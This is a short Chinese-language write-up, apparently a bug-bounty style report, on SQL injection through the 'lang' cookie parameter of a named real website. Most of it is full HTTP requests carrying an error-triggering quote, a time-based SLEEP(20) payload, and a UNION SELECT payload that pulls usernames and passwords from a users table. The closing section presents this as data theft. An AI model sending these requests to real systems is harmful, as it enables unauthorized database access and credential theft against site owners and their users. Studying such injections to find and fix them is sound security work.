通过cookie中的参数所引发的sql注入
前言
在请求的cookie参数中,有一个名为lang的参数存在SQL注入漏洞。
在这个参数中注入一个单引号(')时,会引发SQL语法错误;而注入第二个单引号后,错误会消失。这表明参数中的输入没有正确地进行转义或过滤,从而使得恶意的SQL代码得以执行。
正文
正常情况下和受到攻击时的请求示例:
GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1
受到sql注入攻击时候的请求
GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en'; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1
报错如下:
当然也可以使用 查询语句:
'%2b(select*from(select(sleep(20)))a)%2b'
将构造好的查询注入到原始的HTTP请求中,发送给目标服务器。注入点是请求的cookie参数lang:
GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en%2b(select*from(select(sleep(20)))a)%2b; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1
发送请求后,观察服务器的响应时间。如果服务器在处理请求时出现明显的延迟(如20秒),则表明注入的查询被服务器执行了。这个时间延迟是由SQL中的SLEEP(20)函数引起的。
确认sql注入存在以后 ,进行漏洞利用
攻击者可以构造各种恶意SQL查询来窃取或修改数据。例如,通过以下查询来窃取用户信息:
' UNION SELECT username, password FROM users --
发送恶意请求 攻击者将恶意查询注入到lang参数中,并发送请求:
GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en' UNION SELECT username, password FROM users -- ; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
攻击者检查服务器的响应,查看是否包含用户数据。如果成功,攻击者就能够获取数据库中的敏感信息。
该文章在 2024/7/23 21:39:14 编辑过